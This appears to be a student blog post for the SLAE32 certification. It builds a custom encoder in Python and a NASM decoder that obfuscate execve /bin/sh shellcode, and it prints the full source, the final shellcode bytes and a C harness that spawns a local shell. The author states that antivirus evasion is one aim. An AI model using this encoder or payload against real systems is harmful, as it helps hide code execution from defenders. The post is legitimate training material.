This post introduces the forth mission to my SLAE32 journey.
A really really handful and challenging assignment. It was hard but worth it. Thus, I named my custom encoder/decoder shellcode as FlipRotation Shellcode
Introduction
The forth assignment goal was to create my own custom encoder and decoder of the execve stack shellcode
. AS ou may know, the purpose is to execute /bin/sh
A shellcode encoder can be used for different purposes mainly make it harder to detect by AV engines or simply avoid bad characters (such as null-bytes).
FlipRotation Algorithm Overview
The inspiration for this algorithm was the known CBC bit-flipping attack
but appliyng a simple variation to our context.
More specifically, the steps are
- We pick each shelcode byte and flip the last bit using a
xor
operation -flipped_shellbyte = shellbyte ^ 0x01
- Based on that output the rotation direction is defined. We rotate right if odd or left if even. The number of rotation positions is defined by the loop index value (number of interations) of the loop at that time.
- If we rotate right we append
0x2
afther the encoded byte and if we rotate left we append0xff
- Put the byte
0xa0
as the shellcode end marker
The follwoing diagram can help to understand better this process.
Regarding decoding, it is just simply reverting the steps and we have our original shellcode back.
From my experience developing the decoder in assembly was much simpler than implementing the encoder login in Python.
Encoder
The FlipRotation encoder was developed in Python language. The Encoder
class supports various encoding modes but we will focused only in insertion
mode.
FlipRotation Encoder
#!/usr/bin/python3
#
# The FlipRotation Shellcode encoder
#
# Rotates back and flips the lowest bit of each byte.
#
import argparse
import secrets
import logging
import sys
secretsGenerator = secrets.SystemRandom()
c_style_shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") # bin/sh
def banner():
print('''
_______________________________________________________________
<The "FlipRotation" Encoder - Bit flip and rotate your shellcode
---------------------------------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\\
||----w |
|| ||
''')
#----------------------------
def bin2hex(binstr):
return hex(int(binstr,2))
class Encoder:
def randomKeyGenerator(self):
byte = '0x'
for i in range(2):
hexDigits = [0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f]
nibble = secretsGenerator.choice(hexDigits) # it gets in decimal not hex format
byte = byte + hex(nibble)[2:] # hex class is str type. Appending to 0x
return int(byte,16) # convert key to bytes and return
def __init__(self,enc_type, key=None):
if enc_type != "not":
if key is not None:
self.key = key
print("[*] Key Provided by the user. Doing magic with it")
else:
self.key = self.randomKeyGenerator()
print("[*] Doing magic with a (pseudo) Random key")
print("[*] Key: "+hex(self.key))
# Function to left
# rotate n by d bits
def leftRotate(self,shellbits, d):
tmp = shellbits[d:] + shellbits[0:d]
return tmp
# Function to right
# rotate n by d bits
def rightRotate(self, shellbits, d):
return self.leftRotate(shellbits, len(shellbits) - d)
def insertion_encode(self, shellcode):
encoded = '' # 0x format
encoded2 = '' # \x format
rotation_direction = ''
rotation_counter = 0
for shellbyte in shellcode:
flipped_shellbyte = shellbyte ^ 0x01 # flip lowest bit
if bin(flipped_shellbyte)[-1] == '0':
logging.info("Flipped byte - odd - "+str(flipped_shellbyte))
rotated_shellbyte = self.rightRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
rotation_direction = '0x02'
else:
logging.info("Flipped byte - even - "+str(flipped_shellbyte))
rotated_shellbyte = self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
print("After rotation: "+ bin2hex(self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter%8)))
rotation_direction = '0xff'
final_shellbyte = bin2hex(rotated_shellbyte)
rotation_counter += 1
encoded += final_shellbyte + ',' + rotation_direction +',' # \x format
encoded2 += '\\x' + final_shellbyte[2:] + '\\x' + rotation_direction[2:] # \x format
print("\n[*] \\x format: ")
encoded2 += '\\x' + hex(self.key)[2:] # add marker
print(encoded2)
print("\n[*] 0x format: ")
encoded += '0x' + hex(self.key)[2:] + ',' + '0x' + hex(self.key)[2:] #add marker
print(encoded)
def main():
shellcode = bytearray(c_style_shellcode)
print("[*] Shellcode length: "+str(len(shellcode))+"\n")
print("[*] Shellcode: "+str(c_style_shellcode)+"\n")
# -------------------KEY--------------
key = 0xa0 # can't be 0x02 or 0xff. used for rotation direction
#####################################
# -------------Encode Type-----------
enc_type = "insertion"
#####################################
if enc_type == "not":
encoder = Encoder(enc_type)
encoder.complement_encoding(shellcode)
elif enc_type == "xor":
encoder = Encoder(enc_type, key)
encoder.xor_encoding_backslashX(shellcode)# utf-8 encoding (\x4b,\xe4,...)
encoder.xor_encoding_0x(shellcode) # hex format (0x4b, 0xe4,...)
elif enc_type == "insertion":
encoder = Encoder(enc_type, key) # providing a key with insertion encoding type
encoder.insertion_encode(shellcode) # call insertion code with target shellcode as argument
else:
print("[*] Encode type not supported. Please check the supported algorithms in the help menu")
if __name__ == '__main__':
banner() # displays the program banner
main()
print("\n--------------------")
print("[*] Hack the World!")
print("--------------------")
print()
print()
The Encoder
class is is able to generate a pseudorandom key or use one provided by the user.
def randomKeyGenerator(self):
byte = '0x'
for i in range(2):
hexDigits = [0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f]
nibble = secretsGenerator.choice(hexDigits) # it gets in decimal not hex format
#print("nibble----"+hex(nibble)[2:])
byte = byte + hex(nibble)[2:] # hex class is str type. Appending to 0x
#print(byte)
#chr(int(byte,16)) # converts from base 16 to integer (decimal) and then to ascii (chr func)
#print(int(byte,16))
return int(byte,16) # convert key to bytes and return
def __init__(self,enc_type, key=None):
if enc_type != "not":
if key is not None:
self.key = key
print("[*] Key Provided by the user. Doing magic with it")
else:
self.key = self.randomKeyGenerator()
print("[*] Doing magic with a (pseudo) Random key")
print("[*] Key: "+hex(self.key))
Then, we can call the function insertion_encode
and provide the target shellcode as argument.
encoder = Encoder(enc_type, key) # providing a key with insertion encoding type
encoder.insertion_encode(shellcode) # call insertion code with target shellcode as argument
The insertion_encode
function is defined as follows:
def insertion_encode(self, shellcode):
encoded = '' # 0x format
encoded2 = '' # \x format
rotation_direction = ''
rotation_counter = 0
for shellbyte in shellcode:
flipped_shellbyte = shellbyte ^ 0x01 # flip lowest bit
if bin(flipped_shellbyte)[-1] == '0':
logging.info("Flipped byte - odd - "+str(flipped_shellbyte))
rotated_shellbyte = self.rightRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
rotation_direction = '0x02'
else:
logging.info("Flipped byte - even - "+str(flipped_shellbyte))
rotated_shellbyte = self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
print("After rotation: "+ bin2hex(self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter%8)))
rotation_direction = '0xff'
final_shellbyte = bin2hex(rotated_shellbyte)
rotation_counter += 1
encoded += final_shellbyte + ',' + rotation_direction +',' # \x format
encoded2 += '\\x' + final_shellbyte[2:] + '\\x' + rotation_direction[2:] # \x format
print("\n[*] \\x format: ")
encoded2 += '\\x' + hex(self.key)[2:] # add marker
print(encoded2)
print("\n[*] 0x format: ")
encoded += '0x' + hex(self.key)[2:] + ',' + '0x' + hex(self.key)[2:] #add marker
print(encoded)
We started by interating each shellcode byte and flipping the least significant bit - flipped_shellbyte
After that, checking that same bit for parity. if it is 1
is odd but if is 0
is even. An odd number will rotate right and an even rotate left. Before proceeeding to the rotation we convert the byte to binary in order to have a more robust rotation. The rotation_counter
is used as a reference for the number of rotated bits.
Also as each byte has 8 bits in size, the rotation is performed according to a circular shift methodology by using the modulus %
operator. Using the remainder we stick to rotate only a maximum of 7 bits each time.
After performing the rotation and convert the binary number to hexadecimal the encoding is completed - final_shellbyte
. We can append it to the variables where the shellcode is being stored encoded
and encoded2
followed by the rotation_direction
(0x02 or 0xfff).
if bin(flipped_shellbyte)[-1] == '0':
logging.info("Flipped byte - odd - "+str(flipped_shellbyte))
rotated_shellbyte = self.rightRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
rotation_direction = '0x02'
else:
logging.info("Flipped byte - even - "+str(flipped_shellbyte))
rotated_shellbyte = self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
print("After rotation: "+ bin2hex(self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter%8)))
rotation_direction = '0xff'
final_shellbyte = bin2hex(rotated_shellbyte)
rotation_counter += 1
encoded += final_shellbyte + ',' + rotation_direction +',' # \x format
encoded2 += '\\x' + final_shellbyte[2:] + '\\x' + rotation_direction[2:] # \x format
The last part, we add the end marker at the end for each shellcode format
print("\n[*] \\x format: ")
encoded2 += '\\x' + hex(self.key)[2:] # add marker
print(encoded2)
print("\n[*] 0x format: ")
encoded += '0x' + hex(self.key)[2:] + ',' + '0x' + hex(self.key)[2:] #add marker
print(encoded)
Encoder Output
╭─edu@debian ~/Desktop/slae_x86/assignments/4-Custom_Encoder_Decoder ‹main●›
╰─$ python3 flipRotation_Encoder.py
_______________________________________________________________
<The "FlipRotation" Encoder - Bit flip and rotate your shellcode
---------------------------------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
[*] Shellcode length: 25
[*] Shellcode: b'1\xc0Ph//shh/bin\x89\xe3P\x89\xe2S\x89\xe1\xb0\x0b\xcd\x80'
[*] Key Provided by the user. Doing magic with it
[*] Key: 0xa0
After rotation: 0x83
After rotation: 0x45
After rotation: 0x4b
After rotation: 0xb4
After rotation: 0x69
After rotation: 0x8d
After rotation: 0xf6
After rotation: 0xa8
After rotation: 0xc7
After rotation: 0x36
After rotation: 0x81
[*] \x format:
\x30\x02\x83\xff\x45\xff\x4b\xff\xe2\x02\x71\x02\xc9\x02\xb4\xff\x69\xff\x17\x02\x8d\xff\xd\x02\xf6\xff\x44\x02\x8b\x02\xa8\xff\x88\x02\xc7\xff\x94\x02\x11\x02\xe\x02\x36\xff\x28\x02\x99\x02\x81\xff\xa0
[*] 0x format:
0x30,0x02,0x83,0xff,0x45,0xff,0x4b,0xff,0xe2,0x02,0x71,0x02,0xc9,0x02,0xb4,0xff,0x69,0xff,0x17,0x02,0x8d,0xff,0xd,0x02,0xf6,0xff,0x44,0x02,0x8b,0x02,0xa8,0xff,0x88,0x02,0xc7,0xff,0x94,0x02,0x11,0x02,0xe,0x02,0x36,0xff,0x28,0x02,0x99,0x02,0x81,0xff,0xa0,0xa0
--------------------
[*] Hack the World!
--------------------
We have the encoded shellcode already with rotatio direction for each byte and the end marker.
Decoder
I said before that it was simpler than the encoder but it was not easy at all. I needed to use a piece of paper and a pencil to develop the logic to decode the payload in assembly.
Let’s dig into the assembly
; Student ID : PA-31319
; Student Name : Eduardo Silva
; Assignment 4 : Custom Encoder/Decoder Shellcode (Linux/x86) Assembly - FlipRotation Encoder
; File Name : flipRotation_decoder.nasm
global _start
section .text
_start:
jmp short call_decoder
decoder:
pop esi
lea edi, [esi+1] ; pointing to second byte (0x02) from shellcode
xor eax, eax ; keep track parity byte
cdq ; zeroes edx.
mov al, 1
xor ecx, ecx
xor ebx, ebx
decode:
mov bl, byte [esi + eax] ; mov parity byte to bl
xor bl, 0xa0 ; check if reached the end marker | 0xa0 ^ 0xff = 0x5f
jz short EncodedShellcode ; reached the marker if Zero Flag not set
xor bl, 0x5f ; if equal, parity is even (0xff)
mov bl, byte [esi + edx]
jnz odd
even: ; rotate right
ror bl, cl
jmp short bitFlip
odd: ; rotate left
rol bl, cl
bitFlip:
xor bl, 0x01
restore_next_byte:
mov byte [esi + edx], bl ; replaces the original byte
mov bl, byte [esi + eax + 1] ; mov next shellbyte
mov byte [edi], bl
inc edi
add al, 2
inc dl
inc cl ; = 0x2b F - 00101011
; Doing circular array as modulo workaround. Use 0x08 as a divisor or circular boundary because we are rotating 8 bits (al register).
cmp cl, 0x08 ; if equal ZF will be set meaning we have a complete rotation
jnz decode ; $+2 ; jump if rotation is not complete
xor ecx, ecx ; if rotation is complete reset, cl to start again the "circular array"
jmp short decode
call_decoder:
call decoder
EncodedShellcode: db 0x30,0x02,0x83,0xff,0x45,0xff,0x4b,0xff,0xe2,0x02,0x71,0x02,0xc9,0x02,0xb4,0xff,0x69,0xff,0x17,0x02,0x8d,0xff,0xd,0x02,0xf6,0xff,0x44,0x02,0x8b,0x02,0xa8,0xff,0x88,0x02,0xc7,0xff,0x94,0x02,0x11,0x02,0xe,0x02,0x36,0xff,0x28,0x02,0x99,0x02,0x81,0xff,0xa0,0xa0 ; 0xa0 is the stop marker
Divide and Conquer the FlipRotation Decoder
This decoder use the jmp-call-pop
technique to push the address of the encoded shellcode on the stack and redirect control flow to decoder
branch. Then, the address is stored in esi
We use eax
to keep track the each parity byte and edx
to control the offset from the beginning of the shellcode.
decoder:
pop esi
lea edi, [esi+1] ; pointing to second byte (0x02) from shellcode
xor eax, eax ; keep track parity byte
cdq ; zeroes edx.
mov al, 1 ; first parity byte
xor ecx, ecx ; loop index and number of rotation bits
xor ebx, ebx
After this, we have our decoder
branch which has the logic to decode the encoded shellcode. It start by moving the parity byte and checking with xor bl, 0xa0
if matches the end marker. If yes, it means the shellcode is alrady decoded and redirects execution flow to its first instruction.
The result of this xor
operation using the parity byte will be used below with the operation xor bl, 0x5f
to verify if associated shellcode byte is odd or even.
We know because if we have a even shellcode byte, its parity is 0xff
and results in 0xa0 ^ 0xff = 0x5f
which si stored in bl
. Then doing xor bl, 0x5f
will set ZF
(zero flag) to 1. Based on the zero flag value, we know if the shellcode byte is even or odd.
decode:
mov bl, byte [esi + eax] ; mov parity byte to bl
xor bl, 0xa0 ; check if reached the end marker | 0xa0 ^ 0xff = 0x5f
jz short EncodedShellcode ; reached the marker if Zero Flag not set
xor bl, 0x5f ; if equal, parity is even (0xff) and sets ZF
mov bl, byte [esi + edx]
jnz odd
The next couple of isntruction are straighforward. We just to rotate in the oposite way that was performed by the encoder according to the byte parity and bit flipping the least significant bit.
even: ; rotate right
ror bl, cl
jmp short bitFlip
odd: ; rotate left
rol bl, cl
bitFlip:
xor bl, 0x01
At this stage, the tricky is already done. We just to replace the encoded shellcode byte for the original one using edx
as offset. Then, we move to bl
the next encoded byte.
We cant forget to remove the last used parity byte from the encoded shellcode. In the decode
branch we set up edi
to point the address of the first parity byte. To remove this byte, we can make the next encoded shellcode byte to take its place. In practical terms, we copy the next encoded byte to the address of the last parity byte with the instruction mov byte [edi], bl
Then, we prepare he next iteration by:
- pointing
edi
to the position of next parity byte al
poiting to the next parity byte offsetdl
poiting to the next encoded byte- incrementing
cl
which is used as the loop index value
The last part, we check if we reach the end of the circular array
. As we are rotating 8 bits, we can’t rotate no more than that. this way we aresynchronized with the encoder implementation.
restore_next_byte:
mov byte [esi + edx], bl ; replaces the original byte
mov bl, byte [esi + eax + 1] ; mov next encoded byte
mov byte [edi], bl ; change last used parity byte for the next encoded byte
inc edi ; edi points to position of the next parity byte
add al, 2 ; offset added to next parity byte
inc dl ; offset to the next encoded byte
inc cl ; loop index value incremented
; Doing circular array as modulo workaround. Use 0x08 as a divisor or circular boundary because we are rotating 8 bits (al register).
cmp cl, 0x08 ; if equal ZF will be set meaning we have a complete rotation
jnz decode ; jump if rotation is not complete
xor ecx, ecx ; if rotation is complete, reset cl to start again the "circular array"
Compiling and Testing the FlipRotation Decoder
Checking assembler.sh
output
╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●›
╰─$ ../../assembler.sh egg_hunter.nasm
[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done
Shellcode size: 122
"\xeb\x3f\x5e\x8d\x7e\x01\x31\xc0\x99\xb0\x01\x31\xc9\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x2f\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd2\x31\xc9\xeb\xce\xe8\xbc\xff\xff\xff\x30\x02\x83\xff\x45\xff\x4b\xff\xe2\x02\x71\x02\xc9\x02\xb4\xff\x69\xff\x17\x02\x8d\xff\x0d\x02\xf6\xff\x44\x02\x8b\x02\xa8\xff\x88\x02\xc7\xff\x94\x02\x11\x02\x0e\x02\x36\xff\x28\x02\x99\x02\x81\xff\xa0\xa0"
--------------------
[*] Hack the World!
--------------------
No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x3f\x5e\x8d\x7e\x01\x31\xc0\x99\xb0\x01\x31\xc9\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x2f\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd2\x31\xc9\xeb\xce\xe8\xbc\xff\xff\xff\x30\x02\x83\xff\x45\xff\x4b\xff\xe2\x02\x71\x02\xc9\x02\xb4\xff\x69\xff\x17\x02\x8d\xff\x0d\x02\xf6\xff\x44\x02\x8b\x02\xa8\xff\x88\x02\xc7\xff\x94\x02\x11\x02\x0e\x02\x36\xff\x28\x02\x99\x02\x81\xff\xa0\xa0";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling with gcc
and executing it
╭─edu@debian ~/Desktop/slae_x86/assignments/4-Custom_Encoder_Decoder ‹main●›
╰─$ gcc -fno-stack-protector -m32 -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
╭─edu@debian ~/Desktop/slae_x86/assignments/4-Custom_Encoder_Decoder ‹main●›
╰─$ ./shellcode
Shellcode Length: 122
$ id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
$ ls
core flipRotation_Encoder.py flipRotation_decoder flipRotation_decoder.nasm flipRotation_decoder.o shellcode shellcode.c
$
We get a shell!!!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-31319
All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86